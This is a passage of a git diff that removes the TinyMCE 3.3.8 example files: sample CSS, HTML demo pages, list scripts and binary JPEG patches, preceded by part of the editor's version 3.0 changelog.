didn't like that a content type of text/javascript was forced in a XHR. - Fixed all events so that they now pass the sender object as it's first argument. - Fixed some DOM methods so they now can take an array as input. - Fixed so addButton and the methods of the ControlManager uses less arguments and it now uses a settings object instead. - Fixed various issues with the tinymce.util.URI class. - Fixed bug in IE and Safari and the on demand gzip loading feature. - Fixed bug with moving inline windows sometimes failed in IE6. - Fixed bug where save_callback function wasn't executed at all. - Fixed bug where inlinepopups produces scrollbars if windows where moved to the corners of the browser. - Fixed bug where view HTML source failed when inserting a embedded media object. - Fixed bug where the listbox menus didn't display correctly on IE6. - Fixed bug where undo level wasn't added when editor was blurred. - Fixed bug where spellchecker wasn't disabled when fullscreen mode was enabled. - Fixed bug where Firefox could crash some times when the user switched to fullscreen mode. - Fixed bug where tinymce.ui.DropMenu didn't remove all item data when an item was removed from the menu. - Fixed bug where anchor list in advlink dialog wasn't populated correctly in Safari. - Fixed bug where it wasn't possible to edit tables in IE when inlinepopups was enabled. - Fixed bug where it wasn't possible to change the table width of an existing table. - Fixed bug where xhtmlxtras like abbr didn't work correctly on IE. - Fixed bug where IE6 had some graphics rendering issues with the inlinepopups. - Fixed bug where inlinepopup windows where moved incorrectly when they were boundary checked for min width. - Fixed bug where textareas without id or name couldn't be converted into editor instances. - Fixed bug where TinyMCE was stealing element focus on IE. - Fixed bug where the getParam method didn't handle false values correctly. - Fixed bug where inlinepopups was clipped by other TinyMCE instances or relative elements in IE. - Fixed bug where the contextmenu was clipped by other TinyMCE instances or relative elements in IE. - Fixed bug where listbox menus was clipped by other TinyMCE instances or relative elements in IE. - Fixed bug where listboxes wasn't updated correctly when the a value wasn't found by select. - Fixed various CSS issues that produced odd rendering bugs in IE. - Fixed issues with tinymce.ui.DropMenu class, it required some optional settings to be specified. - Fixed so multiple blockquotes can be removed with a easier method than before. - Optimized some of the core API to boost performance. - Removed some functions from the core API that wasn't needed. -Version 3.0a2 (2007-11-02) - Fixed critical bug where IE generaded an error on a hasAttribute call in the serialization engine. - Fixed critical bug where some dialogs didn't open in the non dev package. - Fixed bug when using the theme_advanced_styles option. Error was thrown in some dialogs. - Fixed bug where the close buttons produced an error when native windows where used. - Fixed bug in default skin so that split buttons gets activated correctly. - Fixed so plugins can be loaded from external urls outsite the plugins directory. -Version 3.0a1 (2007-11-01) - Rewrote the core and most of the plugins and themes from scratch. - Added new and improved serialization engine, faster and more powerful. - Added new internal event system, things like editor.onClick.add(func). - Added new inlinepopups plugin, the dialogs are now skinnable and uses clearlooks2 as default. - Added new contextmenu plugin, context menus can now have submenus and plugins can add items on the fly. - Added new skin support for the simple and advanced themes you can alter the whole UI using CSS. - Added new o2k7 skin for the simple and advanced themes. - Added new custom list boxes for font size/format/style etc with preview support. - Added new UI management, enabled plugins to create controls like splitbuttons or menus easier. - Added new JSON parser/serializer and JSON-RPC class to the core API. - Added new cookie utility class to the core API. - Added new Unit testing class to the core API only available in dev mode. - Added new firebug lite integration when loading the dev version of TinyMCE. - Added new Safari plugin, fixes lots compatibility of issues with Safari 3.x. - Added new URI/URL parsing it now handles the hole RFC and even some exceptions. - Added new pagebreak plugin, enables you to insert pagebreak comments like <!-- pagebreak --> - Added new on demand loading of plugins and themes. Enables you to load and init TinyMCE at any time. - Added new throbber/progress visualization a plugin can show/hide this when it's needed. - Added new blockquote button. Enables you to wrap paragraphs in blockquotes. - Added new compat2x plugin. Will provide a TinyMCE 2.x API for older plugins. - Added new theme_advanced_resizing_min_width, theme_advanced_resizing_min_height options. - Added new theme_advanced_resizing_max_height, theme_advanced_resizing_max_height options. - Added new use_native_selects option. Enables you to toggle native listboxes on and off. - Added new docs_url option enables you to specify where the TinyMCE user documentation is located. - Added new frame and rules options for the table dialog. - Added new global rule for valid_elements/extended_valid_elements enables you to specify global attributes for all elements. - Added new deny attribute rule characher so it's possible to deny global attribute rules on specific elements. - Added new unit tests in the dev package of TinyMCE. Runs tests on the core API, commands and settings of the editor. - Readded the inline_styles option and enabled it by default so deprecated attributes are no longer used. - Removed all button images and replaced them with CSS sprite images. Reduces the number of requests needed. - Removed lots of language files and merged them into the base language files. Reduces the number of requests needed. - Removed lots of unnecessary files and merged many of them together to reduce requests and improve loading speed. - Reduced the over all script size by 33% and the number of files/requests by 75% so it loads a lot faster. - Fixed so convert_fonts_to_spans are enabled by default. So no more font tags. - Fixed so underline and strikethrough uses spans instread of deprecated U and STRIKE elements. - Fixed so indent/outdent adds/removed margin-left instead of blockquotes. - Fixed so alignment of paragraphs results in a text-align style value instead of the deprecated align attribute. - Fixed so alignment of images uses float or vertical-align style values instead of the deprecated align attribute. - Fixed so all classes from @import stylesheets gets imported into the editor. - Fixed so the directionality can toggle the dir attribute on and off. - Fixed so the fullscreen_settings can be used for all types of fullscreen modes. - Fixed so the advanced HR dialog gets displayed when inserting a HR not only on edit. - Fixed bug where word wrap didn't work in the source editor on Safari. - Fixed so non HTML elements can be used within the editor such as <myns:tag> - Fixed various memory leaks in IE and reduced the unload cleanups needed. - Fixed so the preformatted option adds an invisible container pre tag inside the editor. - Renamed the _template plugin to example and updated it to use the new 3.x API. diff --git a/tinymce-3.3.8/examples/css/content.css b/tinymce-3.3.8/examples/css/content.css deleted file mode 100644 index a76c38a..0000000 --- a/tinymce-3.3.8/examples/css/content.css +++ /dev/null @@ -1,105 +0,0 @@ -body { - background-color: #FFFFFF; - font-family: Verdana, Arial, Helvetica, sans-serif; - font-size: 10px; - scrollbar-3dlight-color: #F0F0EE; - scrollbar-arrow-color: #676662; - scrollbar-base-color: #F0F0EE; - scrollbar-darkshadow-color: #DDDDDD; - scrollbar-face-color: #E0E0DD; - scrollbar-highlight-color: #F0F0EE; - scrollbar-shadow-color: #F0F0EE; - scrollbar-track-color: #F5F5F5; -} - -td { - font-family: Verdana, Arial, Helvetica, sans-serif; - font-size: 10px; -} - -pre { - font-family: Verdana, Arial, Helvetica, sans-serif; - font-size: 10px; -} - -.example1 { - font-weight: bold; - font-size: 14px -} - -.example2 { - font-weight: bold; - font-size: 12px; - color: #FF0000 -} - -.tablerow1 { - background-color: #BBBBBB; -} - -thead { - background-color: #FFBBBB; -} - -tfoot { - background-color: #BBBBFF; -} - -th { - font-family: Verdana, Arial, Helvetica, sans-serif; - font-size: 13px; -} - -/* Basic formats */ - -.bold { - font-weight: bold; -} - -.italic { - font-style: italic; -} - -.underline { - text-decoration: underline; -} - -/* Global align classes */ - -.left { - text-align: inherit; -} - -.center { - text-align: center; -} - -.right { - text-align: right; -} - -.full { - text-align: justify -} - -/* Image and table specific aligns */ - -img.left, table.left { - float: left; - text-align: inherit; -} - -img.center, table.center { - margin-left: auto; - margin-right: auto; - text-align: inherit; -} - -img.center { - display: block; -} - -img.right, table.right { - float: right; - text-align: inherit; -} diff --git a/tinymce-3.3.8/examples/css/word.css b/tinymce-3.3.8/examples/css/word.css deleted file mode 100644 index 049a39f..0000000 --- a/tinymce-3.3.8/examples/css/word.css +++ /dev/null @@ -1,53 +0,0 @@ -body { - background-color: #FFFFFF; - font-family: Verdana, Arial, Helvetica, sans-serif; - font-size: 10px; - scrollbar-3dlight-color: #F0F0EE; - scrollbar-arrow-color: #676662; - scrollbar-base-color: #F0F0EE; - scrollbar-darkshadow-color: #DDDDDD; - scrollbar-face-color: #E0E0DD; - scrollbar-highlight-color: #F0F0EE; - scrollbar-shadow-color: #F0F0EE; - scrollbar-track-color: #F5F5F5; -} - -p {margin:0; padding:0;} - -td { - font-family: Verdana, Arial, Helvetica, sans-serif; - font-size: 10px; -} - -pre { - font-family: Verdana, Arial, Helvetica, sans-serif; - font-size: 10px; -} - -.example1 { - font-weight: bold; - font-size: 14px -} - -.example2 { - font-weight: bold; - font-size: 12px; - color: #FF0000 -} - -.tablerow1 { - background-color: #BBBBBB; -} - -thead { - background-color: #FFBBBB; -} - -tfoot { - background-color: #BBBBFF; -} - -th { - font-family: Verdana, Arial, Helvetica, sans-serif; - font-size: 13px; -} diff --git a/tinymce-3.3.8/examples/custom_formats.html b/tinymce-3.3.8/examples/custom_formats.html deleted file mode 100644 index 1f8dac4..0000000 --- a/tinymce-3.3.8/examples/custom_formats.html +++ /dev/null @@ -1,111 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> -<title>Custom formats example</title> - -<!-- TinyMCE --> -<script type="text/javascript" src="../jscripts/tiny_mce/tiny_mce.js"></script> -<script type="text/javascript"> - tinyMCE.init({ - // General options - mode : "textareas", - theme : "advanced", - plugins : "pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,inlinepopups,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template,wordcount,advlist,autosave", - - // Theme options - theme_advanced_buttons1 : "save,newdocument,|,bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,styleselect,formatselect,fontselect,fontsizeselect", - theme_advanced_buttons2 : "cut,copy,paste,pastetext,pasteword,|,search,replace,|,bullist,numlist,|,outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code,|,insertdate,inserttime,preview,|,forecolor,backcolor", - theme_advanced_buttons3 : "tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen", - theme_advanced_buttons4 : "insertlayer,moveforward,movebackward,absolute,|,styleprops,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,nonbreaking,template,pagebreak,restoredraft", - theme_advanced_toolbar_location : "top", - theme_advanced_toolbar_align : "left", - theme_advanced_statusbar_location : "bottom", - theme_advanced_resizing : true, - - // Example content CSS (should be your site CSS) - content_css : "css/content.css", - - // Drop lists for link/image/media/template dialogs - template_external_list_url : "lists/template_list.js", - external_link_list_url : "lists/link_list.js", - external_image_list_url : "lists/image_list.js", - media_external_list_url : "lists/media_list.js", - - // Style formats - style_formats : [ - {title : 'Bold text', inline : 'b'}, - {title : 'Red text', inline : 'span', styles : {color : '#ff0000'}}, - {title : 'Red header', block : 'h1', styles : {color : '#ff0000'}}, - {title : 'Example 1', inline : 'span', classes : 'example1'}, - {title : 'Example 2', inline : 'span', classes : 'example2'}, - {title : 'Table styles'}, - {title : 'Table row 1', selector : 'tr', classes : 'tablerow1'} - ], - - formats : { - alignleft : {selector : 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li,table,img', classes : 'left'}, - aligncenter : {selector : 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li,table,img', classes : 'center'}, - alignright : {selector : 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li,table,img', classes : 'right'}, - alignfull : {selector : 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li,table,img', classes : 'full'}, - bold : {inline : 'span', 'classes' : 'bold'}, - italic : {inline : 'span', 'classes' : 'italic'}, - underline : {inline : 'span', 'classes' : 'underline', exact : true}, - strikethrough : {inline : 'del'} - }, - - // Replace values for the template plugin - template_replace_values : { - username : "Some User", - staffid : "991234" - } - }); -</script> -<!-- /TinyMCE --> - -</head> -<body> - -<form method="post" action="http://tinymce.moxiecode.com/dump.php?example=true"> - <div> - <h3>Custom formats example</h3> - - <p> - This example shows you how to override the default formats for bold, italic, underline, strikethough and alignment to use classes instead of inline styles. - There are more examples on how to use TinyMCE in the <a href="http://tinymce.moxiecode.com/examples/">Wiki</a>. - </p> - - <!-- Gets replaced with TinyMCE, remember HTML in a textarea should be encoded --> - <div> - <textarea id="elm1" name="elm1" rows="15" cols="80" style="width: 80%"> - &lt;p&gt; - This is some example text that you can edit inside the &lt;strong&gt;TinyMCE editor&lt;/strong&gt;. - &lt;/p&gt; - &lt;p&gt; - Nam nisi elit, cursus in rhoncus sit amet, pulvinar laoreet leo. Nam sed lectus quam, ut sagittis tellus. Quisque dignissim mauris a augue rutrum tempor. Donec vitae purus nec massa vestibulum ornare sit amet id tellus. Nunc quam mauris, fermentum nec lacinia eget, sollicitudin nec ante. Aliquam molestie volutpat dapibus. Nunc interdum viverra sodales. Morbi laoreet pulvinar gravida. Quisque ut turpis sagittis nunc accumsan vehicula. Duis elementum congue ultrices. Cras faucibus feugiat arcu quis lacinia. In hac habitasse platea dictumst. Pellentesque fermentum magna sit amet tellus varius ullamcorper. Vestibulum at urna augue, eget varius neque. Fusce facilisis venenatis dapibus. Integer non sem at arcu euismod tempor nec sed nisl. Morbi ultricies, mauris ut ultricies adipiscing, felis odio condimentum massa, et luctus est nunc nec eros. - &lt;/p&gt; - </textarea> - </div> - - <!-- Some integration calls --> - <a href="javascript:;" onmousedown="tinyMCE.get('elm1').show();">[Show]</a> - <a href="javascript:;" onmousedown="tinyMCE.get('elm1').hide();">[Hide]</a> - <a href="javascript:;" onmousedown="tinyMCE.get('elm1').execCommand('Bold');">[Bold]</a> - <a href="javascript:;" onmousedown="alert(tinyMCE.get('elm1').getContent());">[Get contents]</a> - <a href="javascript:;" onmousedown="alert(tinyMCE.get('elm1').selection.getContent());">[Get selected HTML]</a> - <a href="javascript:;" onmousedown="alert(tinyMCE.get('elm1').selection.getContent({format : 'text'}));">[Get selected text]</a> - <a href="javascript:;" onmousedown="alert(tinyMCE.get('elm1').selection.getNode().nodeName);">[Get selected element]</a> - <a href="javascript:;" onmousedown="tinyMCE.execCommand('mceInsertContent',false,'<b>Hello world!!</b>');">[Insert HTML]</a> - <a href="javascript:;" onmousedown="tinyMCE.execCommand('mceReplaceContent',false,'<b>{$selection}</b>');">[Replace selection]</a> - - <br /> - <input type="submit" name="save" value="Submit" /> - <input type="reset" name="reset" value="Reset" /> - </div> -</form> -<script type="text/javascript"> -if (document.location.protocol == 'file:') { - alert("The examples might not work properly on the local file system due to security settings in your browser. Please use a real webserver."); -} -</script> -</body> -</html> diff --git a/tinymce-3.3.8/examples/full.html b/tinymce-3.3.8/examples/full.html deleted file mode 100644 index a72dfd0..0000000 --- a/tinymce-3.3.8/examples/full.html +++ /dev/null @@ -1,101 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> -<title>Full featured example</title> - -<!-- TinyMCE --> -<script type="text/javascript" src="../jscripts/tiny_mce/tiny_mce.js"></script> -<script type="text/javascript"> - tinyMCE.init({ - // General options - mode : "textareas", - theme : "advanced", - plugins : "pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,inlinepopups,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template,wordcount,advlist,autosave", - - // Theme options - theme_advanced_buttons1 : "save,newdocument,|,bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,styleselect,formatselect,fontselect,fontsizeselect", - theme_advanced_buttons2 : "cut,copy,paste,pastetext,pasteword,|,search,replace,|,bullist,numlist,|,outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code,|,insertdate,inserttime,preview,|,forecolor,backcolor", - theme_advanced_buttons3 : "tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen", - theme_advanced_buttons4 : "insertlayer,moveforward,movebackward,absolute,|,styleprops,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,nonbreaking,template,pagebreak,restoredraft", - theme_advanced_toolbar_location : "top", - theme_advanced_toolbar_align : "left", - theme_advanced_statusbar_location : "bottom", - theme_advanced_resizing : true, - - // Example content CSS (should be your site CSS) - content_css : "css/content.css", - - // Drop lists for link/image/media/template dialogs - template_external_list_url : "lists/template_list.js", - external_link_list_url : "lists/link_list.js", - external_image_list_url : "lists/image_list.js", - media_external_list_url : "lists/media_list.js", - - // Style formats - style_formats : [ - {title : 'Bold text', inline : 'b'}, - {title : 'Red text', inline : 'span', styles : {color : '#ff0000'}}, - {title : 'Red header', block : 'h1', styles : {color : '#ff0000'}}, - {title : 'Example 1', inline : 'span', classes : 'example1'}, - {title : 'Example 2', inline : 'span', classes : 'example2'}, - {title : 'Table styles'}, - {title : 'Table row 1', selector : 'tr', classes : 'tablerow1'} - ], - - // Replace values for the template plugin - template_replace_values : { - username : "Some User", - staffid : "991234" - } - }); -</script> -<!-- /TinyMCE --> - -</head> -<body> - -<form method="post" action="http://tinymce.moxiecode.com/dump.php?example=true"> - <div> - <h3>Full featured example</h3> - - <p> - This page shows all available buttons and plugins that are included in the TinyMCE core package. - There are more examples on how to use TinyMCE in the <a href="http://tinymce.moxiecode.com/examples/">Wiki</a>. - </p> - - <!-- Gets replaced with TinyMCE, remember HTML in a textarea should be encoded --> - <div> - <textarea id="elm1" name="elm1" rows="15" cols="80" style="width: 80%"> - &lt;p&gt; - This is some example text that you can edit inside the &lt;strong&gt;TinyMCE editor&lt;/strong&gt;. - &lt;/p&gt; - &lt;p&gt; - Nam nisi elit, cursus in rhoncus sit amet, pulvinar laoreet leo. Nam sed lectus quam, ut sagittis tellus. Quisque dignissim mauris a augue rutrum tempor. Donec vitae purus nec massa vestibulum ornare sit amet id tellus. Nunc quam mauris, fermentum nec lacinia eget, sollicitudin nec ante. Aliquam molestie volutpat dapibus. Nunc interdum viverra sodales. Morbi laoreet pulvinar gravida. Quisque ut turpis sagittis nunc accumsan vehicula. Duis elementum congue ultrices. Cras faucibus feugiat arcu quis lacinia. In hac habitasse platea dictumst. Pellentesque fermentum magna sit amet tellus varius ullamcorper. Vestibulum at urna augue, eget varius neque. Fusce facilisis venenatis dapibus. Integer non sem at arcu euismod tempor nec sed nisl. Morbi ultricies, mauris ut ultricies adipiscing, felis odio condimentum massa, et luctus est nunc nec eros. - &lt;/p&gt; - </textarea> - </div> - - <!-- Some integration calls --> - <a href="javascript:;" onmousedown="tinyMCE.get('elm1').show();">[Show]</a> - <a href="javascript:;" onmousedown="tinyMCE.get('elm1').hide();">[Hide]</a> - <a href="javascript:;" onmousedown="tinyMCE.get('elm1').execCommand('Bold');">[Bold]</a> - <a href="javascript:;" onmousedown="alert(tinyMCE.get('elm1').getContent());">[Get contents]</a> - <a href="javascript:;" onmousedown="alert(tinyMCE.get('elm1').selection.getContent());">[Get selected HTML]</a> - <a href="javascript:;" onmousedown="alert(tinyMCE.get('elm1').selection.getContent({format : 'text'}));">[Get selected text]</a> - <a href="javascript:;" onmousedown="alert(tinyMCE.get('elm1').selection.getNode().nodeName);">[Get selected element]</a> - <a href="javascript:;" onmousedown="tinyMCE.execCommand('mceInsertContent',false,'<b>Hello world!!</b>');">[Insert HTML]</a> - <a href="javascript:;" onmousedown="tinyMCE.execCommand('mceReplaceContent',false,'<b>{$selection}</b>');">[Replace selection]</a> - - <br /> - <input type="submit" name="save" value="Submit" /> - <input type="reset" name="reset" value="Reset" /> - </div> -</form> - -<script type="text/javascript"> -if (document.location.protocol == 'file:') { - alert("The examples might not work properly on the local file system due to security settings in your browser. Please use a real webserver."); -} -</script> -</body> -</html> diff --git a/tinymce-3.3.8/examples/index.html b/tinymce-3.3.8/examples/index.html deleted file mode 100644 index 6ebfbea..0000000 --- a/tinymce-3.3.8/examples/index.html +++ /dev/null @@ -1,10 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd"> -<html> -<head> - <title>TinyMCE examples</title> -</head> -<frameset cols="180,80%"> - <frame src="menu.html" name="menu" /> - <frame src="full.html" name="main" /> -</frameset> -</html> diff --git a/tinymce-3.3.8/examples/lists/image_list.js b/tinymce-3.3.8/examples/lists/image_list.js deleted file mode 100644 index 7ba049a..0000000 --- a/tinymce-3.3.8/examples/lists/image_list.js +++ /dev/null @@ -1,9 +0,0 @@ -// This list may be created by a server logic page PHP/ASP/ASPX/JSP in some backend system. -// There images will be displayed as a dropdown in all image dialogs if the "external_link_image_url" -// option is defined in TinyMCE init. - -var tinyMCEImageList = new Array( - // Name, URL - ["Logo 1", "media/logo.jpg"], - ["Logo 2 Over", "media/logo_over.jpg"] -); diff --git a/tinymce-3.3.8/examples/lists/link_list.js b/tinymce-3.3.8/examples/lists/link_list.js deleted file mode 100644 index 0d46433..0000000 --- a/tinymce-3.3.8/examples/lists/link_list.js +++ /dev/null @@ -1,10 +0,0 @@ -// This list may be created by a server logic page PHP/ASP/ASPX/JSP in some backend system. -// There links will be displayed as a dropdown in all link dialogs if the "external_link_list_url" -// option is defined in TinyMCE init. - -var tinyMCELinkList = new Array( - // Name, URL - ["Moxiecode", "http://www.moxiecode.com"], - ["Freshmeat", "http://www.freshmeat.com"], - ["Sourceforge", "http://www.sourceforge.com"] -); diff --git a/tinymce-3.3.8/examples/lists/media_list.js b/tinymce-3.3.8/examples/lists/media_list.js deleted file mode 100644 index 3a3836c..0000000 --- a/tinymce-3.3.8/examples/lists/media_list.js +++ /dev/null @@ -1,10 +0,0 @@ -// This list may be created by a server logic page PHP/ASP/ASPX/JSP in some backend system. -// There flash movies will be displayed as a dropdown in all media dialog if the "media_external_list_url" -// option is defined in TinyMCE init. - -var tinyMCEMediaList = [ - // Name, URL - ["Some Flash", "media/sample.swf"], - ["Some Quicktime", "media/sample.mov"], - ["Some AVI", "media/sample.avi"] -]; \ No newline at end of file diff --git a/tinymce-3.3.8/examples/lists/template_list.js b/tinymce-3.3.8/examples/lists/template_list.js deleted file mode 100644 index e06d357..0000000 --- a/tinymce-3.3.8/examples/lists/template_list.js +++ /dev/null @@ -1,9 +0,0 @@ -// This list may be created by a server logic page PHP/ASP/ASPX/JSP in some backend system. -// There templates will be displayed as a dropdown in all media dialog if the "template_external_list_url" -// option is defined in TinyMCE init. - -var tinyMCETemplateList = [ - // Name, URL, Description - ["Simple snippet", "templates/snippet1.htm", "Simple HTML snippet."], - ["Layout", "templates/layout1.htm", "HTML Layout."] -]; \ No newline at end of file diff --git a/tinymce-3.3.8/examples/media/logo.jpg b/tinymce-3.3.8/examples/media/logo.jpg deleted file mode 100644 index ad535d671f3282f03cac284e0640f88b3e54bed5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2729 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 NhxV}hhd#LR>7VJ@$kzY> diff --git a/tinymce-3.3.8/examples/media/logo_over.jpg b/tinymce-3.3.8/examples/media/logo_over.jpg deleted file mode 100644 index 79fcd884a4d8adb002219f14a12c57b584abddfa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6473 zcmaKQbx<7L6Yb&-!QBEu0xa$poJB%d+&w^$h2Rh*NO1Sy?k<bF1cxjHcZcBakNjTM zSMRTPrl#jsojcuKcc!}UJuh=FYk)TjvLIOi96SJE{(1pk76E|(xc>nEI)aCPweau= zug_PDi10rkz5?m>M*bgA{{ihk{Cnkf)+>*Mij0K(|1kee`Tq}Ix&XMS01m)C0vs*? 